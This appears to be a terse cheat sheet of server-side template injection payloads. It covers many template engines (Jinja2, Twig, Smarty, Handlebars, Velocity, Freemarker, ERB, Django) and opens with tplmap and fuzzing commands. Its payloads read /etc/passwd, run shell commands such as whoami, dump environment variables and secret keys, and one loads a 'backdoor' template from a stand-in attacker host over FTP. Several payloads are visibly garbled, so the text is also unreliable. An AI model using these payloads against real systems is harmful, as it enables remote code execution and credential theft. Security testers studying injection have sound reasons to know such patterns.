tplmap.py -u 'http://www.target.com/page?name=John'

waybackurls http://target.com | qsreplace "ssti{{9*9}}" > fuzz.txt ffuf -u FUZZ -w fuzz.txt -replay-proxy http://127.0.0.1:8080/

${{<%[%'"}}%. {% debug %} {7*7} {{ '7'*7 }} {{ [] .class.base.subclassesO }} {{''.class.mro()[l] .subclassesO}} for c in [1,2,3] %}{{ c,c,c }}{% endfor %} {{ [].class.base.__subclasses__O }}

{php}print "Hello"{/php} {php}$s = file_get_contents('/etc/passwd',NULL, NULL, 0, 100); var_dump($s);{/php} {{77}} {{7'7'}} {{dump(app)}} {{app.request.server.all|join(',')}} "{{'/etc/passwd'|file_excerpt(1,30)}}"@ {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {$smarty.version} {php}echo id;{/php} {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())}

{{ this }}-> [Object Object] {{ this.proto }}-> [Object Object] {{ this.proto.constructor.name }}-> Object {{this.constructor.constructor}} {{this. constructor. constructor('process.pid')()}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end

${77} <#assign command="freemarker.template.utility.Execute"?new()> ${ command("cat /etc/passwd") } ${{77}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} ${T(java.lang.System).getenv()} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/etc/passwd').toURL().openStream().readAllBytes()?join(" ")}

<%= system("whoami") %> <%= Dir.entries('/') %> <%= File.open('/example/arbitrary-file').read %>

{% debug %} {{settings.SECRET_KEY}} {% import foobar %} = Error {% import os %}{{os.system('whoami')}}

<%= perl code %> <% perl code %>

{{ '7'*7 }} {{ [].class.base.subclasses() }} # get all classes {{''.class.mro()[1].subclasses()}} {%for c in [1,2,3] %}{{c,c,c}}{% endfor %} {{ ''.class.mro[2].subclasses()40.read() }}

@(1+2) @{// C# code}